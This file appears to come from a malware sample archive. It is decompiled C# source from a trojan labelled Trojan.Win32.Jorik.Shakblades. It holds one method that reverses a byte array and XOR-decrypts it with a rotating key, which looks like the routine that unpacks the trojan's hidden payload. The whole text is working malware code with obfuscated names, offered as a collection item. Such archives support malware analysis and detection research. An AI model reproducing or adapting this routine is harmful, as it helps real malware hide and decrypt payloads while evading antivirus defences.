MalwareSourceCode/MSIL/Trojan/Win32/J/Trojan.Win32.Jorik.Shakblades.gij-57943362aa78959dab7e573ae39c6291a304d5aec038204aa341ccf9dd6cadd8/Class5.cs

35 lines
1.3 KiB
C#
Raw Normal View History

2022-08-18 11:28:56 +00:00
// Decompiled with JetBrains decompiler
// Type: Project2012.Class5
// Assembly: Project2012, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 918BE613-C3D9-4541-A951-74986CE3E2B6
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.Win32.Jorik.Shakblades.gij-57943362aa78959dab7e573ae39c6291a304d5aec038204aa341ccf9dd6cadd8.exe
using System;
using System.Text;
namespace Project2012
{
internal class Class5
{
public static byte[] Lachapelle(byte[] bytearray, string propozitie)
{
Array.Reverse((Array) bytearray);
Class2.kuyititigy = bytearray[bytearray.Length - 1];
Class3.grgrgrwgerg = Encoding.Default.GetBytes(propozitie);
Class4.vsfgstgertyer = new byte[bytearray.Length + 1];
int index1 = 0;
for (int index2 = 0; index2 <= bytearray.Length - 1; ++index2)
{
Class4.vsfgstgertyer[index2] = Convert.ToByte((int) bytearray[index2] ^ (int) Class2.kuyititigy ^ (int) Class3.grgrgrwgerg[index1]);
Array.Reverse((Array) Class3.grgrgrwgerg);
if (index1 == Class3.grgrgrwgerg.Length - 1)
index1 = 0;
else
++index1;
}
Array.Resize<byte>(ref Class4.vsfgstgertyer, Class4.vsfgstgertyer.Length - 2);
return Class4.vsfgstgertyer;
}
}
}